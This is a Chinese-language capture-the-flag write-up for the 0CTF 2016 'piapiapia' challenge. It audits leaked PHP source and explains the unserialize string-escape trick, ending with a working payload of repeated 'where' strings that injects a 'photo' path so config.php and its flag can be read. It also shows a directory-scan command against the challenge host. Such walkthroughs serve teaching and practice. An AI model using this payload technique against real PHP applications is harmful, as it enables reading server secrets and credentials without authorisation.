[0ctf2016]piapiapia(PHP unserialize字符逃逸)
前言
由於自己還沒接觸過太多這類的題目,所以還是總結網上的WP進行復現,會儘可能寫的清晰,那麼話不多說,開始淦
首先使用了dirsearch掃了一下目錄(網站源碼泄漏www.zip)
dirsearch -u "http://62bfe127-e775-4795-bf16-8cc039c1e9ab.node3.buuoj.cn" -e * -s 1 -t 10
需要指定線程和延遲,不然只能掃出429
下載網站源碼後開始審計
首先看看config.php,裏面有個flag變量
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
然後看看profile.php
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
發現一個敏感函數
file_get_contents()(將一個文件讀取到一個字符串中)
還對$profile變量進行了反序列化
這裏我們就有了一個思路,可不可以使用file_get_contents函數讀取config.php呢?答案是可以的,這時候我們再找找$profile變量是什麼傳遞過來的
$profile=$user->show_profile($username);
繼續跟蹤show_profile方法,因爲profile.php包含了class.php,所以我們去class.php尋找
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
發現它對username變量進行了一些處理,調用了父類filter方法
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
username變量進行處理之後,再調用父類的select方法
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
到這裏線索似乎就斷了,別急,那先看看其他的php
這裏看到update.php裏面有個serialize(序列化操作)
$user->update_profile($username, serialize($profile));
調用了class.php中user子類的update_profile方法,這時我們回到class.php
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
還是經過父類filter方法的處理,繼續跟進父類的update方法
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
整個邏輯鏈
unserialize->show_profile方法->select方法
serialize->update_profile方法->update方法
首先數據經過序列化傳入到數據庫,然後取出的時候反序列化,那麼勢必需要傳入參數,並且構造惡意參數吧,而update.php這個頁面我們可以看到是一個數據傳入的頁面,那麼我們就來看看是否存在漏洞。
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
可以看到前兩個參數好像都沒什麼辦法繞過,但第三個參數好像可以繞過
這裏我們可以發現前面的正則時匹配所有字母和數字,也就是nickname是字母和數字的話,就是真,而strlen()函數可以使用數組繞過,這樣一來nickname就完全被我們控制了。
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
傳入的參數都會被序列化,那麼這裏我們就可以構造惡意參數
這裏引入一個概念
$a = 'abc';
echo serialize(array($a));
序列化之後的結果
a:1:{i:0;s:3:"abc";}
$s = 'a:1:{i:0;s:3:"acd";}bc";}';
var_dump(unserialize($s));
反序列化之後的結果:
array(1) { [0]=> string(3) "acd" }
也就是說當;}閉合之後後面的字符bc";}就被拋棄了
ok,明白這個概念之後,開始構造payload
首先我們傳入正常的數據進行序列化
<?php
$profile['phone'] = '18888888888';
$profile['email'] = '[email protected]';
$profile['nickname'] = 'admin';
$profile['photo'] = 'upload/' . md5('1.txt');
echo serialize($profile);
序列化結果爲:
a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"[email protected]";s:8:"nickname";s:5:"admin";s:5:"photo";s:39:"upload/dd7ec931179c4dcb6a8ffb8b8786d20b";}
由於需要利用file_get_contents函數讀取config.php
<?php
$profile['phone'] = '18888888888';
$profile['email'] = '[email protected]';
$profile['nickname'] = 'admin';
$profile['photo'] = 'config.php';
echo serialize($profile);
那麼我們需要使序列化的結果爲:
a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"[email protected]";s:8:"nickname";s:5:"admin";s:5:"photo";s:10:"config.php";}
而我們可以控制的部分是:
admin
所以我們可以使nickname爲:
";}s:5:"photo";s:10:"config.php";}
爲什麼這裏多了個括號呢?
class test{
public $a = array('a','b');
}
class test2 {
public $b = '123';
}
$test = new test();
$test2 = new test2();
echo serialize($test);
echo '<br>';
echo serialize($test2);
序列化結果:
O:4:"test":1:{s:1:"a";a:2:{i:0;s:1:"a";i:1;s:1:"b";}}
O:5:"test2":1:{s:1:"b";s:3:"123";}
可以看到數組序列化是多一個括號的
ok,這樣一構造的話,我們發現
<?php
$profile['phone'] = '18888888888';
$profile['email'] = '[email protected]';
$profile['nickname'] = '"};s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'config.php';
echo serialize($profile);
序列化結果:
a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"[email protected]";s:8:"nickname";s:34:""};s:5:"photo";s:10:"config.php";}";s:5:"photo";s:10:"config.php";}
這裏我構造的序列化的payload是無法被反序列化的,因爲還差34個字符
這時候想起來父類的filter方法對用戶傳入的參數進行了過濾,現在去看看
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
這裏我們發現select,insert,update,delete都是六個字符,唯獨where是五個字符,而把where替換成hacker,則多出來一個字符正好可以填充,那麼使用34個where不就可以解決這個問題了嗎
所以最終payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}